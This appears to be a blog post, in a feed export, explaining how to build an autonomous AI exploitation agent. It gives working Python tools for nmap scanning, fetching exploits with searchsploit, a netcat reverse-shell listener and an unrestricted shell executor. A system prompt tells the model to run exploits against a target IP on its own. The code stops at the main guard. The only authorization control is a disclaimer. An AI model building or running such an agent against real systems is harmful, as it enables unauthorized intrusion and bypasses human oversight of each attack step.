  <li><strong>ExploitDB</strong>: <a href="https://www.exploit-db.com">https://www.exploit-db.com</a></li>
</ul>

<hr />

<p><strong>About the Author</strong>: I’m Mohit Dabas, a cybersecurity professional passionate about building innovative security tools. Follow my journey as I explore the intersection of AI and cybersecurity.</p>

<p><strong>Questions? Feedback?</strong> Find me on <a href="https://x.com/DabasMonty">Twitter</a>, <a href="https://github.com/MohitDabas">GitHub</a>, or <a href="https://www.linkedin.com/in/mohit-dabas-4b497798/">LinkedIn</a>.</p>

<hr />

<p><em>Remember: With great power comes great responsibility. Use this knowledge ethically and legally.</em></p>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="GenAI" /><category term="LangChain" /><category term="LangGraph" /><category term="Penetration-Testing" /><category term="Automation" /><category term="Ollama" /><category term="mohitdabas" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Building an AI-Powered Auto-Exploiter with a 1.7B Parameter Model: No Paid APIs Required</title><link href="http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm/" rel="alternate" type="text/html" title="Building an AI-Powered Auto-Exploiter with a 1.7B Parameter Model: No Paid APIs Required" /><published>2024-12-13T00:00:00+00:00</published><updated>2024-12-13T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm</id><content type="html" xml:base="http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm/"><![CDATA[<h1 id="the-cybersecurity-game-just-changed-a-tiny-llm-that-hacks">The Cybersecurity Game Just Changed: A Tiny LLM That Hacks</h1>

<p><img src="/assets/images/genai-exploiter/genai-exploiter-teaser.png" alt="genai-exploiter" class="img-responsive" /></p>

<p>What if I told you that a <strong>1.7 billion parameter model</strong> running entirely on your local machine could autonomously scan networks, identify vulnerabilities, search for exploits, and execute them—all without a single penny spent on API calls? Welcome to the future of security automation where <strong>open-source AI meets penetration testing</strong>.</p>

<p>In this deep dive, I’ll show you how I built an <strong>AI-powered auto-exploiter</strong> that combines LangChain, LangGraph, and the tiny but mighty <code class="language-plaintext highlighter-rouge">qwen3:1.7b</code> model to create an autonomous penetration testing agent. This isn’t just another GPT wrapper—this is a <strong>ReAct agent</strong> that thinks, plans, and executes complex security workflows.</p>

<blockquote>
  <p><strong>⚠️ DISCLAIMER</strong>: This tool is for educational and authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system.</p>
</blockquote>

<h2 id="table-of-contents">Table of Contents</h2>
<ul>
  <li><a href="#why-this-matters">Why This Matters</a></li>
  <li><a href="#the-architecture">The Architecture</a></li>
  <li><a href="#understanding-react-agents">Understanding ReAct Agents</a></li>
  <li><a href="#tool-arsenal">Tool Arsenal</a></li>
  <li><a href="#the-complete-code">The Complete Code</a></li>
  <li><a href="#how-it-works-step-by-step">How It Works: Step-by-Step</a></li>
  <li><a href="#real-world-example">Real-World Example</a></li>
  <li><a href="#why-qwen317b">Why Qwen3:1.7b?</a></li>
  <li><a href="#the-secret-sauce-system-prompting">The Secret Sauce: System Prompting</a></li>
  <li><a href="#challenges-and-solutions">Challenges and Solutions</a></li>
  <li><a href="#future-improvements">Future Improvements</a></li>
  <li><a href="#installation-and-setup">Installation and Setup</a></li>
</ul>

<h2 id="why-this-matters">Why This Matters</h2>

<p>The cybersecurity landscape is shifting. We’re moving from manual exploitation to <strong>AI-assisted security testing</strong>, but most solutions rely on expensive cloud APIs (looking at you, GPT-4). Here’s what makes this approach revolutionary:</p>

<ol>
  <li><strong>100% Local Execution</strong>: No data leaves your machine. Perfect for sensitive pentests.</li>
  <li><strong>Zero Cost</strong>: No API fees. Run it 24/7 without worrying about your credit card.</li>
  <li><strong>Tiny Footprint</strong>: The entire model is only ~1GB. Runs on a potato.</li>
  <li><strong>Autonomous Decision Making</strong>: The agent reasons about service versions, exploit suitability, and execution strategies.</li>
  <li><strong>Fully Customizable</strong>: Open-source tools you can modify and extend.</li>
</ol>

<h2 id="the-architecture">The Architecture</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────┐
│                      User Input                              │
│                  (Target IP/Hostname)                        │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│              LangGraph ReAct Agent                           │
│         (Powered by Qwen3:1.7b via Ollama)                  │
│                                                              │
│  ┌─────────────────────────────────────────────────┐       │
│  │  Think → Act → Observe → Think → Act...        │       │
│  └─────────────────────────────────────────────────┘       │
└───┬─────────────┬──────────────┬──────────────┬────────────┘
    │             │              │              │
    ▼             ▼              ▼              ▼
┌─────────┐  ┌──────────┐  ┌──────────┐  ┌──────────────┐
│  Nmap   │  │Searchspl │  │  Mirror  │  │   Execute    │
│  Scan   │  │   oit    │  │ Exploit  │  │   Exploit    │
└─────────┘  └──────────┘  └──────────┘  └──────────────┘
    │             │              │              │
    └─────────────┴──────────────┴──────────────┘
                     │
                     ▼
            ┌────────────────┐
            │ Target System  │
            └────────────────┘
</code></pre></div></div>

<h2 id="understanding-react-agents">Understanding ReAct Agents</h2>

<p><strong>ReAct (Reasoning + Acting)</strong> is a paradigm where LLMs generate reasoning traces and task-specific actions in an interleaved manner. Here’s how it works:</p>

<h3 id="the-react-loop">The ReAct Loop</h3>

<ol>
  <li><strong>Thought</strong>: The agent reasons about what to do next</li>
  <li><strong>Action</strong>: The agent calls a tool</li>
  <li><strong>Observation</strong>: The agent receives the tool output</li>
  <li><strong>Repeat</strong>: Process continues until task is complete</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Thought: I need to scan the target to identify services
Action: scan_target("192.168.1.100")
Observation: Port 22 open - SSH 2.0 OpenSSH_7.4

Thought: I found OpenSSH 7.4, let me search for exploits
Action: search_exploits("OpenSSH 7.4")
Observation: Found CVE-2023-XXXX - Remote Code Execution

Thought: This exploit looks promising, let me download it
Action: mirror_exploit("EDB-12345")
...
</code></pre></div></div>

<p>This is fundamentally different from simple prompt-response systems. The agent <strong>maintains state</strong> and <strong>plans ahead</strong>.</p>

<h2 id="tool-arsenal">Tool Arsenal</h2>

<p>I’ve equipped the agent with 7 powerful tools, each serving a specific purpose:</p>

<h3 id="1-scan_target---network-reconnaissance">1. <code class="language-plaintext highlighter-rouge">scan_target</code> - Network Reconnaissance</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">scan_target</span><span class="p">(</span><span class="n">target</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">ports</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="bp">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Scans the given target (IP or hostname) using nmap to identify 
    open ports and service versions.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Scanning target: </span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s"> (Ports: </span><span class="si">{</span><span class="n">ports</span> <span class="k">if</span> <span class="n">ports</span> <span class="k">else</span> <span class="s">'default'</span><span class="si">}</span><span class="s">)"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"nmap"</span><span class="p">,</span> <span class="s">"-sV"</span><span class="p">,</span> <span class="s">"-T4"</span><span class="p">,</span> <span class="n">target</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">ports</span><span class="p">:</span>
            <span class="n">command</span><span class="p">.</span><span class="n">extend</span><span class="p">([</span><span class="s">"-p"</span><span class="p">,</span> <span class="n">ports</span><span class="p">])</span>
            
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="k">except</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">CalledProcessError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error running nmap: </span><span class="si">{</span><span class="n">e</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Why this matters</strong>: The <code class="language-plaintext highlighter-rouge">-sV</code> flag performs version detection, which is crucial for finding matching exploits. The <code class="language-plaintext highlighter-rouge">-T4</code> flag speeds up the scan (timing template 4 out of 5).</p>

<h3 id="2-search_exploits---vulnerability-database-search">2. <code class="language-plaintext highlighter-rouge">search_exploits</code> - Vulnerability Database Search</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">search_exploits</span><span class="p">(</span><span class="n">query</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Searches for exploits using searchsploit based on the provided query.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Searching exploits for: </span><span class="si">{</span><span class="n">query</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">search_terms</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"searchsploit"</span><span class="p">,</span> <span class="s">"--json"</span><span class="p">]</span> <span class="o">+</span> <span class="n">search_terms</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="n">returncode</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="s">"Searchsploit returned error or no results: </span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
        
        <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">)</span>
        <span class="n">exploits</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"RESULTS_EXPLOIT"</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">if</span> <span class="ow">not</span> <span class="n">exploits</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"No exploits found."</span>
        
        <span class="c1"># Filter for Python or C/C++ exploits
</span>        <span class="n">summary</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">exploit</span> <span class="ow">in</span> <span class="n">exploits</span><span class="p">:</span> 
            <span class="n">path</span> <span class="o">=</span> <span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Path'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.py'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.c'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.cpp'</span><span class="p">):</span>
                <span class="n">summary</span><span class="p">.</span><span class="n">append</span><span class="p">(</span>
                    <span class="sa">f</span><span class="s">"Title: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Title'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"ID: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'EDB-ID'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"Type: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Type'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"Path: </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s">"</span>
                <span class="p">)</span>
        
        <span class="k">if</span> <span class="ow">not</span> <span class="n">summary</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"No Python or C/C++ exploits found."</span>
        
        <span class="k">return</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">summary</span><span class="p">[:</span><span class="mi">5</span><span class="p">])</span>  <span class="c1"># Top 5 matches
</span>            
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error running searchsploit: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Key Intelligence</strong>: The tool filters for Python and C/C++ exploits because they’re easier to execute and modify. JSON output gives us structured data the LLM can parse.</p>

<h3 id="3-mirror_exploit---exploit-download">3. <code class="language-plaintext highlighter-rouge">mirror_exploit</code> - Exploit Download</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">mirror_exploit</span><span class="p">(</span><span class="n">exploit_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Mirrors (downloads) the exploit with the given EDB-ID to 
    the current directory.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Mirroring exploit ID: </span><span class="si">{</span><span class="n">exploit_id</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"searchsploit"</span><span class="p">,</span> <span class="s">"-m"</span><span class="p">,</span> <span class="n">exploit_id</span><span class="p">]</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error mirroring exploit: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<h3 id="4-inspect_exploit_code---code-analysis">4. <code class="language-plaintext highlighter-rouge">inspect_exploit_code</code> - Code Analysis</h3>

<p>This is where the magic happens. The agent <strong>reads and analyzes</strong> the exploit code to understand:</p>

<ul>
  <li>What arguments it needs</li>
  <li>Whether it’s a bind shell or reverse shell</li>
  <li>What ports to use</li>
  <li>Any manual setup required</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">inspect_exploit_code</span><span class="p">(</span><span class="n">file_path</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Reads the complete content of an exploit file. 
    Use this to analyze the code logic, requirements, arguments, 
    and if it requires manual intervention.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Reading exploit code: </span><span class="si">{</span><span class="n">file_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error reading file: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<h3 id="5-start_listener---reverse-shell-handler">5. <code class="language-plaintext highlighter-rouge">start_listener</code> - Reverse Shell Handler</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">start_listener</span><span class="p">(</span><span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Starts a netcat listener on the specified port in the background.
    Useful for catching reverse shells.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Starting background listener on port </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">log_file</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"listener_</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">.log"</span>
        <span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"nohup nc -lvp </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s"> &gt; </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s"> 2&gt;&amp;1 &amp;"</span>
        <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Listener started on port </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">. Output logged to </span><span class="si">{</span><span class="n">log_file</span><span class="si">}</span><span class="s">"</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error starting listener: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Critical Insight</strong>: The agent needs to understand the difference between:</p>
<ul>
  <li><strong>Reverse Shell</strong>: Target connects back to attacker (needs listener)</li>
  <li><strong>Bind Shell</strong>: Target opens port (direct connection)</li>
</ul>

<h3 id="6-execute_shell_command---exploit-execution">6. <code class="language-plaintext highlighter-rouge">execute_shell_command</code> - Exploit Execution</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">execute_shell_command</span><span class="p">(</span><span class="n">command</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Executes a shell command. Use this to run the mirrored exploit 
    or other necessary commands.
    WARNING: Use with caution.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Executing command: </span><span class="si">{</span><span class="n">command</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span>
            <span class="n">command</span><span class="p">,</span> 
            <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> 
            <span class="n">timeout</span><span class="o">=</span><span class="mi">30</span>
        <span class="p">)</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"STDOUT:</span><span class="se">\n</span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="si">}</span><span class="se">\n</span><span class="s">STDERR:</span><span class="se">\n</span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
    <span class="k">except</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">TimeoutExpired</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"Command timed out."</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error executing command: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Security Note</strong>: This is the most dangerous tool. In production, you’d want sandboxing and additional safety checks.</p>

<h3 id="7-verify_exploit_suitability---compatibility-check">7. <code class="language-plaintext highlighter-rouge">verify_exploit_suitability</code> - Compatibility Check</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">verify_exploit_suitability</span><span class="p">(</span><span class="n">exploit_title</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">service_version</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Analyzes if the exploit is suitable for the service version.
    """</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"Checking if '</span><span class="si">{</span><span class="n">exploit_title</span><span class="si">}</span><span class="s">' is applicable to '</span><span class="si">{</span><span class="n">service_version</span><span class="si">}</span><span class="s">'..."</span>
</code></pre></div></div>

<h2 id="the-complete-code">The Complete Code</h2>

<p>Here’s the full implementation with detailed comments:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">List</span><span class="p">,</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">Any</span>
<span class="kn">from</span> <span class="nn">langchain_core.tools</span> <span class="kn">import</span> <span class="n">tool</span>
<span class="kn">from</span> <span class="nn">langgraph.prebuilt</span> <span class="kn">import</span> <span class="n">create_react_agent</span>
<span class="kn">from</span> <span class="nn">langchain_ollama</span> <span class="kn">import</span> <span class="n">ChatOllama</span>
<span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">SystemMessage</span>

<span class="c1"># Initialize the LLM - Qwen3:1.7b is tiny but powerful
</span><span class="n">model</span> <span class="o">=</span> <span class="n">ChatOllama</span><span class="p">(</span><span class="n">model</span><span class="o">=</span><span class="s">"qwen3:1.7b"</span><span class="p">)</span>

<span class="c1"># [Tool definitions here - see above]
</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="c1"># Register all tools with the agent
</span>    <span class="n">tools</span> <span class="o">=</span> <span class="p">[</span>
        <span class="n">scan_target</span><span class="p">,</span> 
        <span class="n">search_exploits</span><span class="p">,</span> 
        <span class="n">mirror_exploit</span><span class="p">,</span> 
        <span class="n">inspect_exploit_code</span><span class="p">,</span> 
        <span class="n">start_listener</span><span class="p">,</span> 
        <span class="n">execute_shell_command</span>
    <span class="p">]</span>
    
    <span class="c1"># System prompt - this is the brain of the operation
</span>    <span class="n">system_message</span> <span class="o">=</span> <span class="n">SystemMessage</span><span class="p">(</span><span class="n">content</span><span class="o">=</span><span class="s">"""You are a security automation assistant. 
    Your goal is to scan a target, find running services, search for relevant exploits 
    for those services, and then evaluate and potentially run the exploit.
    
    STRICTLY FOLLOW THIS ORDER:
    1. Scan the target using `scan_target`. WAIT for the results.
    2. ANALYZE the scan results to identify service names and versions.
    3. ONLY AFTER identifying services, use `search_exploits` for EACH specific service.
    4. EVALUATE: Compare the found exploits against the service version.
    5. If a promising exploit is found:
       a. Mirror it using `mirror_exploit` (use EDB-ID).
       b. INSPECT the FULL exploit script using `inspect_exploit_code`. 
          - READ the code to understand how it works.
          - DETERMINE if it is a **Reverse Shell** or a **Bind Shell**.
       c. IF it is a **Reverse Shell** (requires local listener):
          - Identify the port it connects back to (LPORT).
          - If hardcoded, use `start_listener` on that port.
          - If argument-based, pick a port (e.g., 4444), start listener, and pass it.
       d. Construct the execution command based on your inspection.
       e. Execute the exploit using `execute_shell_command`.
       f. Check the output.
    
    Do NOT call `search_exploits` until you have received the output from `scan_target`.
    """</span><span class="p">)</span>
    
    <span class="c1"># Create the ReAct agent
</span>    <span class="n">agent</span> <span class="o">=</span> <span class="n">create_react_agent</span><span class="p">(</span><span class="n">model</span><span class="p">,</span> <span class="n">tools</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">system_message</span><span class="p">)</span>
    
    <span class="c1"># Get target from CLI or interactive input
</span>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">target_ip</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">target_ports</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="bp">None</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Welcome to GenAI Exploit System"</span><span class="p">)</span>
        <span class="n">target_ip</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter target IP/Hostname (or 'quit' to exit): "</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">target_ip</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"quit"</span><span class="p">,</span> <span class="s">"exit"</span><span class="p">]:</span>
            <span class="n">target_ports</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter ports to scan (optional): "</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">target_ports</span><span class="p">:</span>
                <span class="n">target_ports</span> <span class="o">=</span> <span class="bp">None</span>
    
    <span class="k">if</span> <span class="n">target_ip</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"quit"</span><span class="p">,</span> <span class="s">"exit"</span><span class="p">]:</span>
        <span class="k">return</span>
    
    <span class="c1"># Construct the input message
</span>    <span class="n">input_message</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"Scan </span><span class="si">{</span><span class="n">target_ip</span><span class="si">}</span><span class="s">"</span>
    <span class="k">if</span> <span class="n">target_ports</span><span class="p">:</span>
        <span class="n">input_message</span> <span class="o">+=</span> <span class="sa">f</span><span class="s">" on ports </span><span class="si">{</span><span class="n">target_ports</span><span class="si">}</span><span class="s">"</span>
    <span class="n">input_message</span> <span class="o">+=</span> <span class="s">" and find and attempt to verify exploits."</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">Processing: </span><span class="si">{</span><span class="n">input_message</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    
    <span class="c1"># Run the agent asynchronously with streaming
</span>    <span class="k">async</span> <span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="n">agent</span><span class="p">.</span><span class="n">astream</span><span class="p">(</span>
        <span class="p">{</span><span class="s">"messages"</span><span class="p">:</span> <span class="p">[(</span><span class="s">"user"</span><span class="p">,</span> <span class="n">input_message</span><span class="p">)]},</span> 
        <span class="n">stream_mode</span><span class="o">=</span><span class="s">"values"</span>
    <span class="p">):</span>
        <span class="n">message</span> <span class="o">=</span> <span class="n">chunk</span><span class="p">[</span><span class="s">"messages"</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">message</span><span class="p">.</span><span class="n">pretty_print</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
